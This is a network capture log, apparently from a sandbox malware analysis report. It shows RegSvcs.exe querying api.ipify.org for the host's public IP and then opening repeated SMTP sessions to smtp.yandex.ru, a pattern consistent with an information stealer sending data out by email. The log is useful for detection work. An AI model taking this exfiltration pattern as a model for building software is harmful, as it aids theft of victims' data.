Nov 21, 2024 09:08:20.626101017 CET	587	50021	77.88.21.158	192.168.2.4
Nov 21, 2024 09:08:20.894681931 CET	587	50022	77.88.21.158	192.168.2.4
Nov 21, 2024 09:08:20.894989014 CET	50022	587	192.168.2.4	77.88.21.158
Nov 21, 2024 09:08:20.955394030 CET	587	50021	77.88.21.158	192.168.2.4
Nov 21, 2024 09:08:20.955648899 CET	50021	587	192.168.2.4	77.88.21.158
Nov 21, 2024 09:08:21.014518976 CET	587	50022	77.88.21.158	192.168.2.4
Nov 21, 2024 09:08:21.075201035 CET	587	50021	77.88.21.158	192.168.2.4
Nov 21, 2024 09:08:21.354664087 CET	587	50022	77.88.21.158	192.168.2.4
Nov 21, 2024 09:08:21.398147106 CET	50022	587	192.168.2.4	77.88.21.158
Nov 21, 2024 09:08:21.425997972 CET	587	50021	77.88.21.158	192.168.2.4
Nov 21, 2024 09:08:21.434267044 CET	50021	587	192.168.2.4	77.88.21.158
Nov 21, 2024 09:08:21.517637968 CET	587	50022	77.88.21.158	192.168.2.4
Nov 21, 2024 09:08:21.557660103 CET	587	50021	77.88.21.158	192.168.2.4
Nov 21, 2024 09:08:21.849179029 CET	587	50022	77.88.21.158	192.168.2.4
Nov 21, 2024 09:08:21.849462032 CET	50022	587	192.168.2.4	77.88.21.158
Nov 21, 2024 09:08:21.897897005 CET	587	50021	77.88.21.158	192.168.2.4
Nov 21, 2024 09:08:21.898112059 CET	50021	587	192.168.2.4	77.88.21.158
Nov 21, 2024 09:08:21.969046116 CET	587	50022	77.88.21.158	192.168.2.4
Nov 21, 2024 09:08:22.017754078 CET	587	50021	77.88.21.158	192.168.2.4
Nov 21, 2024 09:08:22.390594006 CET	587	50022	77.88.21.158	192.168.2.4
Nov 21, 2024 09:08:22.395713091 CET	50022	587	192.168.2.4	77.88.21.158
Nov 21, 2024 09:08:22.491827965 CET	587	50021	77.88.21.158	192.168.2.4
Nov 21, 2024 09:08:22.492084026 CET	50021	587	192.168.2.4	77.88.21.158
Nov 21, 2024 09:08:22.515255928 CET	587	50022	77.88.21.158	192.168.2.4
Nov 21, 2024 09:08:22.611977100 CET	587	50021	77.88.21.158	192.168.2.4
Nov 21, 2024 09:08:22.837445021 CET	587	50022	77.88.21.158	192.168.2.4
Nov 21, 2024 09:08:22.837940931 CET	50022	587	192.168.2.4	77.88.21.158
Nov 21, 2024 09:08:22.837940931 CET	50022	587	192.168.2.4	77.88.21.158
Nov 21, 2024 09:08:22.838054895 CET	50022	587	192.168.2.4	77.88.21.158
Nov 21, 2024 09:08:22.838186979 CET	50022	587	192.168.2.4	77.88.21.158
Nov 21, 2024 09:08:22.839345932 CET	50022	587	192.168.2.4	77.88.21.158
Nov 21, 2024 09:08:22.940824032 CET	587	50021	77.88.21.158	192.168.2.4
Nov 21, 2024 09:08:22.941360950 CET	50021	587	192.168.2.4	77.88.21.158
Nov 21, 2024 09:08:22.941445112 CET	50021	587	192.168.2.4	77.88.21.158
Nov 21, 2024 09:08:22.941445112 CET	50021	587	192.168.2.4	77.88.21.158
Nov 21, 2024 09:08:22.941534042 CET	50021	587	192.168.2.4	77.88.21.158
Nov 21, 2024 09:08:22.943106890 CET	50021	587	192.168.2.4	77.88.21.158
Nov 21, 2024 09:08:22.957601070 CET	587	50022	77.88.21.158	192.168.2.4
Nov 21, 2024 09:08:22.957650900 CET	587	50022	77.88.21.158	192.168.2.4
Nov 21, 2024 09:08:22.957679033 CET	587	50022	77.88.21.158	192.168.2.4
Nov 21, 2024 09:08:22.957712889 CET	587	50022	77.88.21.158	192.168.2.4
Nov 21, 2024 09:08:22.957717896 CET	50022	587	192.168.2.4	77.88.21.158
Nov 21, 2024 09:08:22.957847118 CET	50022	587	192.168.2.4	77.88.21.158
Nov 21, 2024 09:08:22.958993912 CET	587	50022	77.88.21.158	192.168.2.4
Nov 21, 2024 09:08:22.959047079 CET	587	50022	77.88.21.158	192.168.2.4
Nov 21, 2024 09:08:22.959124088 CET	50022	587	192.168.2.4	77.88.21.158
Nov 21, 2024 09:08:22.959157944 CET	587	50022	77.88.21.158	192.168.2.4
Nov 21, 2024 09:08:22.959201097 CET	587	50022	77.88.21.158	192.168.2.4
Nov 21, 2024 09:08:22.959239960 CET	50022	587	192.168.2.4	77.88.21.158
Nov 21, 2024 09:08:22.959270954 CET	587	50022	77.88.21.158	192.168.2.4
Nov 21, 2024 09:08:22.959300041 CET	587	50022	77.88.21.158	192.168.2.4
Nov 21, 2024 09:08:22.959309101 CET	50022	587	192.168.2.4	77.88.21.158
Nov 21, 2024 09:08:22.959361076 CET	587	50022	77.88.21.158	192.168.2.4
Nov 21, 2024 09:08:22.959367990 CET	50022	587	192.168.2.4	77.88.21.158
Nov 21, 2024 09:08:22.959410906 CET	587	50022	77.88.21.158	192.168.2.4
Nov 21, 2024 09:08:22.959439039 CET	587	50022	77.88.21.158	192.168.2.4
Nov 21, 2024 09:08:22.959482908 CET	50022	587	192.168.2.4	77.88.21.158
Nov 21, 2024 09:08:22.959528923 CET	50022	587	192.168.2.4	77.88.21.158
Nov 21, 2024 09:08:23.061166048 CET	587	50021	77.88.21.158	192.168.2.4
Nov 21, 2024 09:08:23.061233044 CET	587	50021	77.88.21.158	192.168.2.4
Nov 21, 2024 09:08:23.061269045 CET	587	50021	77.88.21.158	192.168.2.4
Nov 21, 2024 09:08:23.061376095 CET	587	50021	77.88.21.158	192.168.2.4
Nov 21, 2024 09:08:23.061389923 CET	50021	587	192.168.2.4	77.88.21.158
Nov 21, 2024 09:08:23.061496019 CET	50021	587	192.168.2.4	77.88.21.158
Nov 21, 2024 09:08:23.063039064 CET	587	50021	77.88.21.158	192.168.2.4
Nov 21, 2024 09:08:23.063113928 CET	587	50021	77.88.21.158	192.168.2.4
Nov 21, 2024 09:08:23.063147068 CET	587	50021	77.88.21.158	192.168.2.4
Nov 21, 2024 09:08:23.063198090 CET	50021	587	192.168.2.4	77.88.21.158
Nov 21, 2024 09:08:23.063198090 CET	50021	587	192.168.2.4	77.88.21.158
Nov 21, 2024 09:08:23.063242912 CET	587	50021	77.88.21.158	192.168.2.4
Nov 21, 2024 09:08:23.063275099 CET	587	50021	77.88.21.158	192.168.2.4
Nov 21, 2024 09:08:23.063370943 CET	587	50021	77.88.21.158	192.168.2.4
Nov 21, 2024 09:08:23.063395977 CET	50021	587	192.168.2.4	77.88.21.158
Nov 21, 2024 09:08:23.063405991 CET	587	50021	77.88.21.158	192.168.2.4
Nov 21, 2024 09:08:23.063462973 CET	50021	587	192.168.2.4	77.88.21.158
Nov 21, 2024 09:08:23.063478947 CET	587	50021	77.88.21.158	192.168.2.4
Nov 21, 2024 09:08:23.063560009 CET	587	50021	77.88.21.158	192.168.2.4
Nov 21, 2024 09:08:23.063697100 CET	50021	587	192.168.2.4	77.88.21.158
Nov 21, 2024 09:08:23.077241898 CET	587	50022	77.88.21.158	192.168.2.4
Nov 21, 2024 09:08:23.077352047 CET	587	50022	77.88.21.158	192.168.2.4
Nov 21, 2024 09:08:23.077373028 CET	50022	587	192.168.2.4	77.88.21.158
Nov 21, 2024 09:08:23.077863932 CET	50022	587	192.168.2.4	77.88.21.158
Nov 21, 2024 09:08:23.078680038 CET	587	50022	77.88.21.158	192.168.2.4
Nov 21, 2024 09:08:23.079042912 CET	587	50022	77.88.21.158	192.168.2.4
Nov 21, 2024 09:08:23.079051018 CET	50022	587	192.168.2.4	77.88.21.158
Nov 21, 2024 09:08:23.079072952 CET	587	50022	77.88.21.158	192.168.2.4
Nov 21, 2024 09:08:23.079154968 CET	587	50022	77.88.21.158	192.168.2.4
Nov 21, 2024 09:08:23.079202890 CET	587	50022	77.88.21.158	192.168.2.4
Nov 21, 2024 09:08:23.079202890 CET	50022	587	192.168.2.4	77.88.21.158
Nov 21, 2024 09:08:23.079237938 CET	50022	587	192.168.2.4	77.88.21.158
Nov 21, 2024 09:08:23.079292059 CET	50022	587	192.168.2.4	77.88.21.158
Nov 21, 2024 09:08:23.079404116 CET	587	50022	77.88.21.158	192.168.2.4
Nov 21, 2024 09:08:23.079490900 CET	587	50022	77.88.21.158	192.168.2.4
Nov 21, 2024 09:08:23.079556942 CET	587	50022	77.88.21.158	192.168.2.4
Nov 21, 2024 09:08:23.079608917 CET	50022	587	192.168.2.4	77.88.21.158
Nov 21, 2024 09:08:23.079633951 CET	50022	587	192.168.2.4	77.88.21.158
Nov 21, 2024 09:08:23.079683065 CET	587	50022	77.88.21.158	192.168.2.4
Nov 21, 2024 09:08:23.079766035 CET	50022	587	192.168.2.4	77.88.21.158
Nov 21, 2024 09:08:23.121370077 CET	587	50022	77.88.21.158	192.168.2.4
Nov 21, 2024 09:08:23.121565104 CET	50022	587	192.168.2.4	77.88.21.158
Nov 21, 2024 09:08:23.180928946 CET	587	50021	77.88.21.158	192.168.2.4
Nov 21, 2024 09:08:23.181032896 CET	587	50021	77.88.21.158	192.168.2.4
Nov 21, 2024 09:08:23.181083918 CET	50021	587	192.168.2.4	77.88.21.158
Nov 21, 2024 09:08:23.181159973 CET	50021	587	192.168.2.4	77.88.21.158
Nov 21, 2024 09:08:23.182813883 CET	587	50021	77.88.21.158	192.168.2.4
Nov 21, 2024 09:08:23.182986021 CET	50021	587	192.168.2.4	77.88.21.158
Nov 21, 2024 09:08:23.183235884 CET	587	50021	77.88.21.158	192.168.2.4
Nov 21, 2024 09:08:23.183496952 CET	587	50021	77.88.21.158	192.168.2.4
Nov 21, 2024 09:08:23.183527946 CET	587	50021	77.88.21.158	192.168.2.4
Nov 21, 2024 09:08:23.183561087 CET	587	50021	77.88.21.158	192.168.2.4
Nov 21, 2024 09:08:23.183573961 CET	50021	587	192.168.2.4	77.88.21.158
Nov 21, 2024 09:08:23.183600903 CET	50021	587	192.168.2.4	77.88.21.158
Nov 21, 2024 09:08:23.183640003 CET	50021	587	192.168.2.4	77.88.21.158
Nov 21, 2024 09:08:23.183640003 CET	50021	587	192.168.2.4	77.88.21.158
Nov 21, 2024 09:08:23.183657885 CET	587	50021	77.88.21.158	192.168.2.4
Nov 21, 2024 09:08:23.183691978 CET	587	50021	77.88.21.158	192.168.2.4
Nov 21, 2024 09:08:23.183816910 CET	50021	587	192.168.2.4	77.88.21.158
Nov 21, 2024 09:08:23.197050095 CET	587	50022	77.88.21.158	192.168.2.4
Nov 21, 2024 09:08:23.197319984 CET	50022	587	192.168.2.4	77.88.21.158
Nov 21, 2024 09:08:23.197546959 CET	587	50022	77.88.21.158	192.168.2.4
Nov 21, 2024 09:08:23.198674917 CET	587	50022	77.88.21.158	192.168.2.4
Nov 21, 2024 09:08:23.198784113 CET	587	50022	77.88.21.158	192.168.2.4
Nov 21, 2024 09:08:23.198890924 CET	587	50022	77.88.21.158	192.168.2.4
Nov 21, 2024 09:08:23.198923111 CET	50022	587	192.168.2.4	77.88.21.158
Nov 21, 2024 09:08:23.198940039 CET	587	50022	77.88.21.158	192.168.2.4
Nov 21, 2024 09:08:23.199057102 CET	587	50022	77.88.21.158	192.168.2.4
Nov 21, 2024 09:08:23.199093103 CET	587	50022	77.88.21.158	192.168.2.4
Nov 21, 2024 09:08:23.199191093 CET	587	50022	77.88.21.158	192.168.2.4
Nov 21, 2024 09:08:23.199342966 CET	587	50022	77.88.21.158	192.168.2.4
Nov 21, 2024 09:08:23.199512959 CET	587	50022	77.88.21.158	192.168.2.4
Nov 21, 2024 09:08:23.199546099 CET	587	50022	77.88.21.158	192.168.2.4
Nov 21, 2024 09:08:23.199594975 CET	587	50022	77.88.21.158	192.168.2.4
Nov 21, 2024 09:08:23.199661970 CET	587	50022	77.88.21.158	192.168.2.4
Nov 21, 2024 09:08:23.199712992 CET	587	50022	77.88.21.158	192.168.2.4
Nov 21, 2024 09:08:23.199743986 CET	587	50022	77.88.21.158	192.168.2.4
Nov 21, 2024 09:08:23.199794054 CET	587	50022	77.88.21.158	192.168.2.4
Nov 21, 2024 09:08:23.199896097 CET	587	50022	77.88.21.158	192.168.2.4
Nov 21, 2024 09:08:23.199944973 CET	587	50022	77.88.21.158	192.168.2.4
Nov 21, 2024 09:08:23.200088024 CET	587	50022	77.88.21.158	192.168.2.4
Nov 21, 2024 09:08:23.200115919 CET	587	50022	77.88.21.158	192.168.2.4
Nov 21, 2024 09:08:23.200167894 CET	587	50022	77.88.21.158	192.168.2.4
Nov 21, 2024 09:08:23.200195074 CET	587	50022	77.88.21.158	192.168.2.4
Nov 21, 2024 09:08:23.200227022 CET	587	50022	77.88.21.158	192.168.2.4
Nov 21, 2024 09:08:23.200254917 CET	587	50022	77.88.21.158	192.168.2.4
Nov 21, 2024 09:08:23.200304985 CET	587	50022	77.88.21.158	192.168.2.4
Nov 21, 2024 09:08:23.229476929 CET	587	50021	77.88.21.158	192.168.2.4
Nov 21, 2024 09:08:23.229748964 CET	50021	587	192.168.2.4	77.88.21.158
Nov 21, 2024 09:08:23.241389990 CET	587	50022	77.88.21.158	192.168.2.4
Nov 21, 2024 09:08:23.241424084 CET	587	50022	77.88.21.158	192.168.2.4
Nov 21, 2024 09:08:23.300693989 CET	587	50021	77.88.21.158	192.168.2.4
Nov 21, 2024 09:08:23.300802946 CET	50021	587	192.168.2.4	77.88.21.158
Nov 21, 2024 09:08:23.300848007 CET	587	50021	77.88.21.158	192.168.2.4
Nov 21, 2024 09:08:23.300905943 CET	50021	587	192.168.2.4	77.88.21.158
Nov 21, 2024 09:08:23.302736044 CET	587	50021	77.88.21.158	192.168.2.4
Nov 21, 2024 09:08:23.303662062 CET	587	50021	77.88.21.158	192.168.2.4
Nov 21, 2024 09:08:23.303747892 CET	587	50021	77.88.21.158	192.168.2.4
Nov 21, 2024 09:08:23.303800106 CET	587	50021	77.88.21.158	192.168.2.4
Nov 21, 2024 09:08:23.303828001 CET	587	50021	77.88.21.158	192.168.2.4
Nov 21, 2024 09:08:23.303873062 CET	587	50021	77.88.21.158	192.168.2.4
Nov 21, 2024 09:08:23.303922892 CET	587	50021	77.88.21.158	192.168.2.4
Nov 21, 2024 09:08:23.303956032 CET	587	50021	77.88.21.158	192.168.2.4
Nov 21, 2024 09:08:23.304100990 CET	587	50021	77.88.21.158	192.168.2.4
Nov 21, 2024 09:08:23.304128885 CET	587	50021	77.88.21.158	192.168.2.4
Nov 21, 2024 09:08:23.304169893 CET	587	50021	77.88.21.158	192.168.2.4
Nov 21, 2024 09:08:23.304218054 CET	587	50021	77.88.21.158	192.168.2.4
Nov 21, 2024 09:08:23.304250002 CET	587	50021	77.88.21.158	192.168.2.4
Nov 21, 2024 09:08:23.304332972 CET	587	50021	77.88.21.158	192.168.2.4
Nov 21, 2024 09:08:23.304382086 CET	587	50021	77.88.21.158	192.168.2.4
Nov 21, 2024 09:08:23.304409981 CET	587	50021	77.88.21.158	192.168.2.4
Nov 21, 2024 09:08:23.304476023 CET	587	50021	77.88.21.158	192.168.2.4
Nov 21, 2024 09:08:23.304503918 CET	587	50021	77.88.21.158	192.168.2.4
Nov 21, 2024 09:08:23.304553032 CET	587	50021	77.88.21.158	192.168.2.4
Nov 21, 2024 09:08:23.304579020 CET	587	50021	77.88.21.158	192.168.2.4
Nov 21, 2024 09:08:23.304650068 CET	587	50021	77.88.21.158	192.168.2.4
Nov 21, 2024 09:08:23.304677963 CET	587	50021	77.88.21.158	192.168.2.4
Nov 21, 2024 09:08:23.304790974 CET	587	50021	77.88.21.158	192.168.2.4
Nov 21, 2024 09:08:23.304817915 CET	587	50021	77.88.21.158	192.168.2.4
Nov 21, 2024 09:08:23.317012072 CET	587	50022	77.88.21.158	192.168.2.4
Nov 21, 2024 09:08:23.317055941 CET	587	50022	77.88.21.158	192.168.2.4
Nov 21, 2024 09:08:23.317073107 CET	587	50022	77.88.21.158	192.168.2.4
Nov 21, 2024 09:08:23.317291021 CET	587	50022	77.88.21.158	192.168.2.4
Nov 21, 2024 09:08:23.318627119 CET	587	50022	77.88.21.158	192.168.2.4
Nov 21, 2024 09:08:23.318636894 CET	587	50022	77.88.21.158	192.168.2.4
Nov 21, 2024 09:08:23.349525928 CET	587	50021	77.88.21.158	192.168.2.4
Nov 21, 2024 09:08:23.349673986 CET	587	50021	77.88.21.158	192.168.2.4
Nov 21, 2024 09:08:23.421385050 CET	587	50021	77.88.21.158	192.168.2.4
Nov 21, 2024 09:08:23.421400070 CET	587	50021	77.88.21.158	192.168.2.4
Nov 21, 2024 09:08:23.421411037 CET	587	50021	77.88.21.158	192.168.2.4
Nov 21, 2024 09:08:23.421864986 CET	587	50021	77.88.21.158	192.168.2.4
Nov 21, 2024 09:08:23.421875000 CET	587	50021	77.88.21.158	192.168.2.4
Nov 21, 2024 09:08:23.421884060 CET	587	50021	77.88.21.158	192.168.2.4
Nov 21, 2024 09:08:24.153413057 CET	587	50022	77.88.21.158	192.168.2.4
Nov 21, 2024 09:08:24.199100018 CET	50022	587	192.168.2.4	77.88.21.158
Nov 21, 2024 09:08:24.298882008 CET	587	50021	77.88.21.158	192.168.2.4
Nov 21, 2024 09:08:24.339833021 CET	50021	587	192.168.2.4	77.88.21.158
Nov 21, 2024 09:08:26.017354012 CET	50021	587	192.168.2.4	77.88.21.158
Nov 21, 2024 09:08:26.136786938 CET	587	50021	77.88.21.158	192.168.2.4
Nov 21, 2024 09:08:26.472608089 CET	587	50021	77.88.21.158	192.168.2.4
Nov 21, 2024 09:08:26.472644091 CET	587	50021	77.88.21.158	192.168.2.4
Nov 21, 2024 09:08:26.472713947 CET	50021	587	192.168.2.4	77.88.21.158
Nov 21, 2024 09:08:26.473383904 CET	50021	587	192.168.2.4	77.88.21.158
Nov 21, 2024 09:08:26.474332094 CET	50023	587	192.168.2.4	77.88.21.158
Nov 21, 2024 09:08:26.592854023 CET	587	50021	77.88.21.158	192.168.2.4
Nov 21, 2024 09:08:26.593781948 CET	587	50023	77.88.21.158	192.168.2.4
Nov 21, 2024 09:08:26.594278097 CET	50023	587	192.168.2.4	77.88.21.158
Nov 21, 2024 09:08:27.898350954 CET	587	50023	77.88.21.158	192.168.2.4
Nov 21, 2024 09:08:27.930685997 CET	50023	587	192.168.2.4	77.88.21.158
Nov 21, 2024 09:08:28.050297976 CET	587	50023	77.88.21.158	192.168.2.4
Nov 21, 2024 09:08:28.388123989 CET	587	50023	77.88.21.158	192.168.2.4
Nov 21, 2024 09:08:28.388322115 CET	50023	587	192.168.2.4	77.88.21.158
Nov 21, 2024 09:08:28.508023977 CET	587	50023	77.88.21.158	192.168.2.4
Nov 21, 2024 09:08:28.845633984 CET	587	50023	77.88.21.158	192.168.2.4
Nov 21, 2024 09:08:28.846079111 CET	50023	587	192.168.2.4	77.88.21.158
Nov 21, 2024 09:08:28.965959072 CET	587	50023	77.88.21.158	192.168.2.4
Nov 21, 2024 09:08:29.305763960 CET	587	50023	77.88.21.158	192.168.2.4
Nov 21, 2024 09:08:29.305790901 CET	587	50023	77.88.21.158	192.168.2.4
Nov 21, 2024 09:08:29.305804968 CET	587	50023	77.88.21.158	192.168.2.4
Nov 21, 2024 09:08:29.305836916 CET	50023	587	192.168.2.4	77.88.21.158
Nov 21, 2024 09:08:29.305867910 CET	587	50023	77.88.21.158	192.168.2.4
Nov 21, 2024 09:08:29.305919886 CET	50023	587	192.168.2.4	77.88.21.158
Nov 21, 2024 09:08:29.308439016 CET	50023	587	192.168.2.4	77.88.21.158
Nov 21, 2024 09:08:29.427990913 CET	587	50023	77.88.21.158	192.168.2.4
Nov 21, 2024 09:08:29.767950058 CET	587	50023	77.88.21.158	192.168.2.4
Nov 21, 2024 09:08:29.770518064 CET	50023	587	192.168.2.4	77.88.21.158
Nov 21, 2024 09:08:29.892175913 CET	587	50023	77.88.21.158	192.168.2.4
Nov 21, 2024 09:08:30.227816105 CET	587	50023	77.88.21.158	192.168.2.4
Nov 21, 2024 09:08:30.434077978 CET	50023	587	192.168.2.4	77.88.21.158
Nov 21, 2024 09:08:32.875091076 CET	50023	587	192.168.2.4	77.88.21.158
Nov 21, 2024 09:08:32.876039028 CET	50023	587	192.168.2.4	77.88.21.158
Nov 21, 2024 09:08:32.951505899 CET	50024	587	192.168.2.4	77.88.21.158
Nov 21, 2024 09:08:32.994609118 CET	587	50023	77.88.21.158	192.168.2.4
Nov 21, 2024 09:08:32.995898962 CET	587	50023	77.88.21.158	192.168.2.4
Nov 21, 2024 09:08:32.995950937 CET	50023	587	192.168.2.4	77.88.21.158
Nov 21, 2024 09:08:33.070997000 CET	587	50024	77.88.21.158	192.168.2.4
Nov 21, 2024 09:08:33.071111917 CET	50024	587	192.168.2.4	77.88.21.158
Nov 21, 2024 09:08:34.424320936 CET	587	50024	77.88.21.158	192.168.2.4
Nov 21, 2024 09:08:34.464761019 CET	50024	587	192.168.2.4	77.88.21.158

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 21, 2024 09:04:30.992007017 CET	52953	53	192.168.2.4	1.1.1.1
Nov 21, 2024 09:04:31.217710972 CET	53	52953	1.1.1.1	192.168.2.4
Nov 21, 2024 09:04:33.541250944 CET	50933	53	192.168.2.4	1.1.1.1
Nov 21, 2024 09:04:33.770169020 CET	53	50933	1.1.1.1	192.168.2.4
Nov 21, 2024 09:06:01.059825897 CET	60218	53	192.168.2.4	1.1.1.1
Nov 21, 2024 09:06:01.285835981 CET	53	60218	1.1.1.1	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Nov 21, 2024 09:04:30.992007017 CET	192.168.2.4	1.1.1.1	0xca3e	Standard query (0)	api.ipify.org	A (IP address)	IN (0x0001)	false
Nov 21, 2024 09:04:33.541250944 CET	192.168.2.4	1.1.1.1	0x1b3f	Standard query (0)	smtp.yandex.ru	A (IP address)	IN (0x0001)	false
Nov 21, 2024 09:06:01.059825897 CET	192.168.2.4	1.1.1.1	0x3dd8	Standard query (0)	smtp.yandex.ru	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class	DNS over HTTPS
Nov 21, 2024 09:04:31.217710972 CET	1.1.1.1	192.168.2.4	0xca3e	No error (0)	api.ipify.org	172.67.74.152	A (IP address)	IN (0x0001)	false
Nov 21, 2024 09:04:31.217710972 CET	1.1.1.1	192.168.2.4	0xca3e	No error (0)	api.ipify.org	104.26.12.205	A (IP address)	IN (0x0001)	false
Nov 21, 2024 09:04:31.217710972 CET	1.1.1.1	192.168.2.4	0xca3e	No error (0)	api.ipify.org	104.26.13.205	A (IP address)	IN (0x0001)	false
Nov 21, 2024 09:04:33.770169020 CET	1.1.1.1	192.168.2.4	0x1b3f	No error (0)	smtp.yandex.ru	77.88.21.158	A (IP address)	IN (0x0001)	false
Nov 21, 2024 09:06:01.285835981 CET	1.1.1.1	192.168.2.4	0x3dd8	No error (0)	smtp.yandex.ru	77.88.21.158	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

api.ipify.org

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49733	172.67.74.152	443	7808	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-21 08:04:32 UTC	155	OUT	GET / HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0 Host: api.ipify.org Connection: Keep-Alive
2024-11-21 08:04:32 UTC	399	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 08:04:32 GMT Content-Type: text/plain Content-Length: 11 Connection: close Vary: Origin CF-Cache-Status: DYNAMIC Server: cloudflare CF-RAY: 8e5f2b68ac468c53-EWR server-timing: cfL4;desc="?proto=TCP&rtt=1979&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2821&recv_bytes=769&delivery_rate=1407228&cwnd=213&unsent_bytes=0&cid=c0ba05f765fee7dd&ts=448&x=0"
2024-11-21 08:04:32 UTC	11	IN	Data Raw: 38 2e 34 36 2e 31 32 33 2e 37 35 Data Ascii: 8.46.123.75

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49737	172.67.74.152	443	3608	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-21 08:04:36 UTC	155	OUT	GET / HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0 Host: api.ipify.org Connection: Keep-Alive
2024-11-21 08:04:36 UTC	399	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 08:04:36 GMT Content-Type: text/plain Content-Length: 11 Connection: close Vary: Origin CF-Cache-Status: DYNAMIC Server: cloudflare CF-RAY: 8e5f2b800a7b4343-EWR server-timing: cfL4;desc="?proto=TCP&rtt=1621&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2821&recv_bytes=769&delivery_rate=1800246&cwnd=252&unsent_bytes=0&cid=94ac60a3039a910e&ts=456&x=0"
2024-11-21 08:04:36 UTC	11	IN	Data Raw: 38 2e 34 36 2e 31 32 33 2e 37 35 Data Ascii: 8.46.123.75

SMTP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP	Commands
Nov 21, 2024 09:04:35.161896944 CET	587	49736	77.88.21.158	192.168.2.4	220 mail-nwsmtp-smtp-production-main-45.sas.yp-c.yandex.net Ok 1732176274-Y4OSRA1OemI0
Nov 21, 2024 09:04:38.966546059 CET	587	49738	77.88.21.158	192.168.2.4	220 mail-nwsmtp-smtp-production-main-39.sas.yp-c.yandex.net Ok 1732176278-c4O9mB1OdKo0
Nov 21, 2024 09:04:38.966829062 CET	49738	587	192.168.2.4	77.88.21.158	EHLO 377142
Nov 21, 2024 09:04:39.414102077 CET	587	49738	77.88.21.158	192.168.2.4	250-mail-nwsmtp-smtp-production-main-39.sas.yp-c.yandex.net 250-8BITMIME 250-PIPELINING 250-SIZE 53477376 250-STARTTLS 250-AUTH LOGIN PLAIN XOAUTH2 250-DSN 250 ENHANCEDSTATUSCODES
Nov 21, 2024 09:04:39.414535999 CET	49738	587	192.168.2.4	77.88.21.158	STARTTLS
Nov 21, 2024 09:04:39.863493919 CET	587	49738	77.88.21.158	192.168.2.4	220 Go ahead
Nov 21, 2024 09:06:02.661633015 CET	587	49837	77.88.21.158	192.168.2.4	220 mail-nwsmtp-smtp-production-main-57.myt.yp-c.yandex.net Ok 1732176362-26OWct0OduQ0
Nov 21, 2024 09:06:02.661860943 CET	49837	587	192.168.2.4	77.88.21.158	EHLO 377142
Nov 21, 2024 09:06:03.106633902 CET	587	49837	77.88.21.158	192.168.2.4	250-mail-nwsmtp-smtp-production-main-57.myt.yp-c.yandex.net 250-8BITMIME 250-PIPELINING 250-SIZE 53477376 250-STARTTLS 250-AUTH LOGIN PLAIN XOAUTH2 250-DSN 250 ENHANCEDSTATUSCODES
Nov 21, 2024 09:06:03.106847048 CET	49837	587	192.168.2.4	77.88.21.158	STARTTLS
Nov 21, 2024 09:06:03.551182985 CET	587	49837	77.88.21.158	192.168.2.4	220 Go ahead
Nov 21, 2024 09:06:12.571067095 CET	587	49858	77.88.21.158	192.168.2.4	220 mail-nwsmtp-smtp-production-main-81.vla.yp-c.yandex.net Ok 1732176372-C6OSr61Ok4Y0
Nov 21, 2024 09:06:12.571366072 CET	49858	587	192.168.2.4	77.88.21.158	EHLO 377142
Nov 21, 2024 09:06:13.019005060 CET	587	49858	77.88.21.158	192.168.2.4	250-mail-nwsmtp-smtp-production-main-81.vla.yp-c.yandex.net 250-8BITMIME 250-PIPELINING 250-SIZE 53477376 250-STARTTLS 250-AUTH LOGIN PLAIN XOAUTH2 250-DSN 250 ENHANCEDSTATUSCODES
Nov 21, 2024 09:06:13.023081064 CET	49858	587	192.168.2.4	77.88.21.158	STARTTLS
Nov 21, 2024 09:06:13.470551014 CET	587	49858	77.88.21.158	192.168.2.4	220 Go ahead
Nov 21, 2024 09:06:22.785233021 CET	587	49883	77.88.21.158	192.168.2.4	220 mail-nwsmtp-smtp-production-main-77.klg.yp-c.yandex.net Ok 1732176382-M6O9k31Ok8c0
Nov 21, 2024 09:06:22.817632914 CET	49883	587	192.168.2.4	77.88.21.158	EHLO 377142
Nov 21, 2024 09:06:23.261871099 CET	587	49883	77.88.21.158	192.168.2.4	250-mail-nwsmtp-smtp-production-main-77.klg.yp-c.yandex.net 250-8BITMIME 250-PIPELINING 250-SIZE 53477376 250-STARTTLS 250-AUTH LOGIN PLAIN XOAUTH2 250-DSN 250 ENHANCEDSTATUSCODES
Nov 21, 2024 09:06:23.262167931 CET	49883	587	192.168.2.4	77.88.21.158	STARTTLS
Nov 21, 2024 09:06:23.710091114 CET	587	49883	77.88.21.158	192.168.2.4	220 Go ahead
Nov 21, 2024 09:07:03.862814903 CET	587	49975	77.88.21.158	192.168.2.4	220 mail-nwsmtp-smtp-production-main-55.vla.yp-c.yandex.net Ok 1732176423-37O3eD1OriE0
Nov 21, 2024 09:07:03.863075972 CET	49975	587	192.168.2.4	77.88.21.158	EHLO 377142
Nov 21, 2024 09:07:04.319263935 CET	587	49975	77.88.21.158	192.168.2.4	250-mail-nwsmtp-smtp-production-main-55.vla.yp-c.yandex.net 250-8BITMIME 250-PIPELINING 250-SIZE 53477376 250-STARTTLS 250-AUTH LOGIN PLAIN XOAUTH2 250-DSN 250 ENHANCEDSTATUSCODES
Nov 21, 2024 09:07:04.323275089 CET	49975	587	192.168.2.4	77.88.21.158	STARTTLS
Nov 21, 2024 09:07:04.779500961 CET	587	49975	77.88.21.158	192.168.2.4	220 Go ahead
